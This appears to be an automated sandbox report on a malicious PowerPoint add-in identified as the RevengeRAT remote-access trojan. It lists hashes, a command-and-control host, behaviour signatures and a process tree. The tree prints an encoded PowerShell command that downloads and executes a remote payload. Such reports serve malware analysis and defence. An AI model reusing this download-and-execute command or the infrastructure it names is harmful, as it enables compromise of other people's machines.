Analysis

  • max time kernel
    119s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    12-03-2024 02:06

General

  • Target

    0fabe8bad86d907040ba52fc7fc59e1626a4ea86bb24baa85a94734b4517fddb.ppam

  • Size

    18KB

  • MD5

    d9b08507bbed55097f91f61b995f1b81

  • SHA1

    a10b28c1cca42bc277f1569feb830c10a501383e

  • SHA256

    0fabe8bad86d907040ba52fc7fc59e1626a4ea86bb24baa85a94734b4517fddb

  • SHA512

    cf9e1c41fff83c8e851d66ff4baf333b7e12acb99a37c62cf214d06ec5c1ea664e04eb0eb83d8ba206d8ad5a23532d910b48f670678e8238ea70fc9f12ef10b4

  • SSDEEP

    384:dXPuMXrXloiGnEnKdyOeTR05MVzZcqsts7uJNFTRVmWJhCxM:VPX+i0EnKdyOMRWAzZWbTfmoCq

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\0fabe8bad86d907040ba52fc7fc59e1626a4ea86bb24baa85a94734b4517fddb.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2616
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBYAGUAQgBWAGEAQwB0AEMAVABoAG8AWABHAEcAdwBNAEUAZgBSAHUARAB1AEoAVwBFAFIAYQB0AGEAcABKAGUAZgBPAGYAYwB6AEYAQwBJAFMAbgB5AFQAQwBhAEUASABCAGsARQBNAHUATwBwAHAAQgBGAFYATgBDAEIAQgBLAGEAaQBSAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2784
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Checks processor information in registry
          PID:1616

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1616-58-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1616-54-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1616-52-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1616-64-0x0000000073FC0000-0x00000000746AE000-memory.dmp
      Filesize

      6.9MB

    • memory/1616-56-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
      Filesize

      4KB

    • memory/1616-67-0x0000000004C40000-0x0000000004C80000-memory.dmp
      Filesize

      256KB

    • memory/1616-66-0x0000000073FC0000-0x00000000746AE000-memory.dmp
      Filesize

      6.9MB

    • memory/1616-48-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1616-50-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1616-62-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1616-65-0x0000000004C40000-0x0000000004C80000-memory.dmp
      Filesize

      256KB

    • memory/1616-60-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1660-33-0x0000000071D4D000-0x0000000071D58000-memory.dmp
      Filesize

      44KB

    • memory/1660-32-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1660-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1660-18-0x0000000071D4D000-0x0000000071D58000-memory.dmp
      Filesize

      44KB

    • memory/1660-8-0x0000000000350000-0x0000000000450000-memory.dmp
      Filesize

      1024KB

    • memory/1660-4-0x00000000057C0000-0x00000000058C0000-memory.dmp
      Filesize

      1024KB

    • memory/1660-2-0x0000000071D4D000-0x0000000071D58000-memory.dmp
      Filesize

      44KB

    • memory/1660-0-0x000000002D091000-0x000000002D092000-memory.dmp
      Filesize

      4KB

    • memory/2784-14-0x0000000002AB0000-0x0000000002AF0000-memory.dmp
      Filesize

      256KB

    • memory/2784-46-0x0000000002A10000-0x0000000002A11000-memory.dmp
      Filesize

      4KB

    • memory/2784-47-0x000000006AE10000-0x000000006B3BB000-memory.dmp
      Filesize

      5.7MB

    • memory/2784-34-0x0000000002990000-0x00000000029A8000-memory.dmp
      Filesize

      96KB

    • memory/2784-35-0x0000000002990000-0x00000000029A8000-memory.dmp
      Filesize

      96KB

    • memory/2784-37-0x0000000002990000-0x00000000029A8000-memory.dmp
      Filesize

      96KB

    • memory/2784-39-0x0000000002990000-0x00000000029A8000-memory.dmp
      Filesize

      96KB

    • memory/2784-41-0x0000000002990000-0x00000000029A8000-memory.dmp
      Filesize

      96KB

    • memory/2784-43-0x0000000002990000-0x00000000029A8000-memory.dmp
      Filesize

      96KB

    • memory/2784-45-0x0000000002990000-0x00000000029A8000-memory.dmp
      Filesize

      96KB

    • memory/2784-63-0x000000006AE10000-0x000000006B3BB000-memory.dmp
      Filesize

      5.7MB

    • memory/2784-15-0x0000000002C70000-0x0000000002CCB000-memory.dmp
      Filesize

      364KB

    • memory/2784-13-0x000000006AE10000-0x000000006B3BB000-memory.dmp
      Filesize

      5.7MB

    • memory/2784-12-0x0000000002AB0000-0x0000000002AF0000-memory.dmp
      Filesize

      256KB

    • memory/2784-11-0x000000006AE10000-0x000000006B3BB000-memory.dmp
      Filesize

      5.7MB